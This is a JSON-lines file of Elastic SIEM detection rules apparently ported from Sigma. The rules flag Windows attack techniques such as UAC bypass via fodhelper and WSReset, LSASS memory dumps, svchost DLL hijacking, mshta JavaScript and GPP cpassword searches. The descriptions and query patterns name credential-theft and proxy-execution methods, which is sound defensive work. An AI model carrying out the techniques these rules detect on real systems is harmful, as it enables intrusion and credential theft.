{"description":"High DNS requests amount from host per short period of time Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate high DNS requests rate to domain name which should be added to whitelist"],"filters":[],"from":"now-360s","immutable":false,"index":["filebeat-*"],"interval":"5m","rule_id":"b4163085-4001-46a3-a79a-55d8bbbc7a3a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"High DNS Requests Rate","query":"dns.question.name:*","meta":{"from":"1m"},"severity":"medium","tags":["T1048","T1071"],"to":"now","type":"threshold","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"threshold":{"field":"source.ip","value":1001},"references":[""]}
{"description":"HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe Author: Sreeman. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"53c243cd-2e1a-d9ed-0363-59708c27b228","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Detecting Fake Instances Of Hxtsr.exe","query":"(process.executable:\"hxtsr.exe\" AND (NOT (process.working_directory:/(?i)c:\\\\\\\\program files\\\\\\\\windowsapps\\\\\\\\microsoft\\.windowscommunicationsapps_.*\\\\\\\\hxtsr\\.exe/)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool. Author: Endgame, JHasenbusch (ported for oscd.community). License: ","enabled":false,"false_positives":["Legitimate use of net.exe utility by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"62510e69-616b-4078-b371-847da438cc03","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Windows Network Enumeration","query":"((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*view*) AND (NOT (process.command_line:*\\\\\\\\*)))","meta":{"from":"1m"},"severity":"low","tags":["T1018"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies creation of local users via the net.exe command. Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community). License: ","enabled":false,"false_positives":["Legitimate user creation.","Better use event IDs for user creation rather than command line rules."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cd219ff3-fa99-45d4-8380-a7d15116c6dc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Net.exe User Account Creation","query":"(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*user* AND process.command_line:*add*)","meta":{"from":"1m"},"severity":"medium","tags":["T1136"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1136","name":"Create Account","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts. Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72. License: ","enabled":false,"false_positives":["Legitimate use of the utilities by legitimate user for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3bad990e-4848-4a78-9530-b427d854aac0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Domain Trust Discovery","query":"((process.executable:*\\\\nltest.exe AND process.command_line:(*domain_trusts* OR *all_trusts* OR *\\/trusted_domains* OR *\\/dclist*)) OR (process.executable:*\\\\dsquery.exe AND process.command_line:*trustedDomain*) OR (process.executable:*\\\\dsquery.exe AND process.command_line:*\\-filter* AND process.command_line:*trustedDomain*))","meta":{"from":"1m"},"severity":"medium","tags":["T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies suspicious mshta.exe commands. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"67f113fa-e23d-4271-befa-30113b3e08b1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Mshta JavaScript Execution","query":"(process.executable:*\\\\mshta.exe AND process.command_line:*javascript*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies usage of hh.exe executing recently modified .chm files. Author: E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community. License: ","enabled":false,"false_positives":["unlike"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"68c8acb4-1b60-4890-8e82-3ddf7a6dba84","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"HH.exe Execution","query":"(process.executable:*\\\\hh.exe AND process.command_line:*.chm*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes. Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of fodhelper.exe utility by legitimate user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7f741dcf-fc22-4759-87b4-9ae8376676a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC via Fodhelper.exe","query":"process.parent.executable:*\\\\fodhelper.exe","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1444443e-6757-43e4-9ea4-c8fc705f79a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Modification of Boot Configuration","query":"((process.executable:*\\\\bcdedit.exe AND process.command_line:*set*) AND ((process.command_line:*bootstatuspolicy* AND process.command_line:*ignoreallfailures*) OR (process.command_line:*recoveryenabled* AND process.command_line:*no*)))","meta":{"from":"1m"},"severity":"high","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system. Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of the system utilities to discover system time for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b243b280-65fe-48df-ba07-6ddea7646427","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Discovery of a System Time","query":"((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*time*) OR (process.executable:*\\\\w32tm.exe AND process.command_line:*tz*) OR (process.executable:*\\\\powershell.exe AND process.command_line:*Get\\-Date*))","meta":{"from":"1m"},"severity":"low","tags":["T1124"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1124","name":"System Time Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Identifies use of WSReset.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes. Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d797268e-28a9-49a7-b9a8-2f5039011c5c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Bypass UAC via WSReset.exe","query":"(process.parent.executable:*\\\\wsreset.exe AND (NOT (process.executable:*\\\\conhost.exe)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine. Author: SBousseaden. License: ","enabled":false,"false_positives":["Pentest"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1bcd54bd-a4eb-f40b-e543-808b0e324835","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Svchost DLL Search Order Hijack","query":"((process.executable:*\\\\svchost.exe AND file.path:(*\\\\tsmsisrv.dll OR *\\\\tsvipsrv.dll OR *\\\\wlbsctrl.dll)) AND (NOT (file.path:C\\:\\\\Windows\\\\WinSxS\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents. Author: Cian Heasley. License: ","enabled":false,"false_positives":["Legitimate uses of Mouse Lock software"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"22e0d53c-9216-af90-9176-33d4b453d300","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Mouse Lock Credential Gathering","query":"(Product:*Mouse\\ Lock* OR Company:*Misc314* OR process.command_line:*Mouse\\ Lock_*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1056"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]},{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"Initial execution of malicious document calls wmic to execute the file with regsvr32 Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"518643ba-7d9c-4fa5-9f37-baed36059f6a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Office Applications Spawning Wmi Cli","query":"((process.executable:\"\\\\wbem\\\\WMIC.exe\" OR process.command_line:*wmic\\ * OR winlog.event_data.OriginalFileName:\"wmic.exe\" OR winlog.event_data.Description:\"WMI\\ Commandline\\ Utility\") AND process.parent.executable:(*winword.exe OR *excel.exe OR *powerpnt.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Initial execution of malicious document calls wmic to execute the file with regsvr32 Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e6ae2306-62a5-2e73-7460-0fefe8bd5716","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Office Applications Spawning Wmi Cli","query":"((process.executable:*\\\\wbem\\\\WMIC.exe OR process.parent.command_line:*wmic\\ *) AND process.parent.executable:(\"winword.exe\" OR \"excel.exe\" OR \"powerpnt.exe\"))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Initial execution of malicious document calls wmic Win32_Process::Create to execute the file with regsvr32 Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d0d8c870-9753-d20c-4f77-1782c3c13c30","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"EDR WMI Command Execution by Office Applications","query":"(EventLog:\"EDR\" AND winlog.event_data.EventType:\"WMIExecution\" AND WMIcommand:*Win32_Process\\\\\\:\\\\\\:Create* AND process.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1047","T1204","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Injects arbitrary DLL into running process specified by process ID. Requires Windows 10. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0598d542-0fde-15e9-8109-59caac4dff4b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Mavinject Inject DLL Into Running Process","query":"(process.command_line:*\\ \\/INJECTRUNNING* AND process.command_line:*.dll* AND winlog.event_data.OriginalFileName:*mavinject*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1056","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1056","name":"Input Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space. Author: David Burkett. License: ","enabled":false,"false_positives":["rpcnet.exe / rpcnetp.exe which is a lojack style software. "],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6e660b69-1d54-23e8-c7ec-a574fe1b0799","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspect Svchost Activity","query":"((process.command_line:*svchost.exe AND process.executable:*\\\\svchost.exe) AND (NOT (process.parent.executable:(*\\\\rpcnet.exe OR *\\\\rpcnetp.exe) OR NOT _exists_:process.command_line)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Launch 64-bit shellcode from a debugger script file using cdb.exe. Author: Beyu Denis, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use of debugging tools"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"24b8a848-0a0b-0cdd-3baf-ff8c28db8e06","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner","query":"(process.executable:*\\\\cdb.exe AND process.command_line:*\\-cf*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1106","T1127","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1127","name":"Trusted Developer Utilities Proxy Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"load malicious registered COM objects Author: frack113. License: ","enabled":false,"false_positives":["legitimate use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9d05ed49-b7c4-16ed-2233-a4e55075e0f0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rundll32 Registered COM Objects","query":"(process.executable:*\\\\rundll32.exe AND process.command_line:(*\\-sta\\ * OR *â€“localserver\\ *) AND process.command_line:*\\{* AND process.command_line:*\\}*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Loading unsigned image (DLL, EXE) into LSASS process Author: Teymur Kheirkhabarov, oscd.community. License: ","enabled":false,"false_positives":["Valid user connecting using RDP"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b1bfefd-f6b3-976c-4ff2-d5c28c6f8406","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Unsigned Image Loaded Into LSASS Process","query":"(process.executable:*\\\\lsass.exe AND Signed:\"false\")","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Local accounts, System Owner/User discovery using operating systems utilities Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administrator or user enumerates local users for legitimate reason"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"502b42de-4306-40b4-9596-6f590c81f073","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Local Accounts Discovery","query":"(((process.executable:*\\\\whoami.exe OR (process.executable:*\\\\wmic.exe AND process.command_line:*useraccount* AND process.command_line:*get*) OR process.executable:(*\\\\quser.exe OR *\\\\qwinsta.exe) OR (process.executable:*\\\\cmdkey.exe AND process.command_line:*\\/list*) OR (process.executable:*\\\\cmd.exe AND process.command_line:*\\/c* AND process.command_line:*dir\\ * AND process.command_line:*\\\\Users\\\\*)) AND (NOT (process.command_line:*\\ rmdir\\ *))) OR ((process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*user*) AND (NOT (process.command_line:(*\\/domain* OR *\\/add* OR *\\/delete* OR *\\/active* OR *\\/expires* OR *\\/passwordreq* OR *\\/scriptpath* OR *\\/times* OR *\\/workstations*)))))","meta":{"from":"1m"},"severity":"low","tags":["T1033","T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1033","name":"System Owner/User Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"lolbas Cmdl32 is use to download a payload to evade antivirus Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f37aba28-a9e6-4045-882c-d5004043b337","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Cmdl32 Execution","query":"((process.executable:*\\\\cmdl32.exe OR winlog.event_data.OriginalFileName:\"CMDL32.EXE\") AND (process.command_line:*\\/vpn\\ * AND process.command_line:*\\/lan\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"91a2c315-9ee6-4052-a853-6f6a8238f90d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Findstr GPP Passwords","query":"(process.executable:*\\\\findstr.exe AND process.command_line:*cpassword* AND process.command_line:*\\\\sysvol\\\\* AND process.command_line:*.xml*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Looking for processes spawned by web server components that indicate reconnaissance by popular public domain webshells for whether perl, python or wget are installed. Author: Cian Heasley. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d6b9f78d-bb8e-95e6-0541-8afa09e24f03","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Webshell Recon Detection Via CommandLine & Processes","query":"((process.parent.executable:(*\\\\apache* OR *\\\\tomcat*) OR process.parent.executable:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe)) AND (process.executable:*\\\\cmd.exe AND process.command_line:(*perl\\ \\-\\-help* OR *python\\ \\-\\-help* OR *wget\\ \\-\\-help* OR *perl\\ \\-h*)))","meta":{"from":"1m"},"severity":"high","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group. Author: Sreeman. License: ","enabled":false,"false_positives":["none observed"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c103b1fd-a515-e535-1ca5-1bb6659c8bd8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Write Protect For Storage Disabled","query":"process.command_line:/(?i).*reg add.*hklm\\\\\\\\system\\\\\\\\currentcontrolset\\\\\\\\control.*(storage|storagedevicepolicies).*write protection.*0.*/","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified Author: Teymur Kheirkhabarov, oscd.community. License: ","enabled":false,"false_positives":["Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator","Dumps of another process that contains lsass in its process name (substring)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"166a7204-54f6-f028-4f58-378f0ee985d7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"LSASS Memory Dump File Creation","query":"(file.path:*lsass* AND file.path:*dmp)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'. License: ","enabled":false,"false_positives":["Legitimate user creation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6488ba98-a316-4e45-5ee2-4a9d96152187","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious VHD Image Download From Browser","query":"(process.executable:(*chrome.exe OR *firefox.exe OR *microsoftedge.exe OR *microsoftedgecp.exe OR *msedge.exe OR *iexplorer.exe OR *brave.exe OR *opera.exe) AND file.path:*.vhd*)","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Marks a file as a system file using the attrib.exe utility Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"db56c990-3bb3-2a5a-9e60-a98976e728cf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Set Windows System File with Attrib","query":"(process.executable:*\\\\attrib.exe AND process.command_line:*\\ \\+s\\ *)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
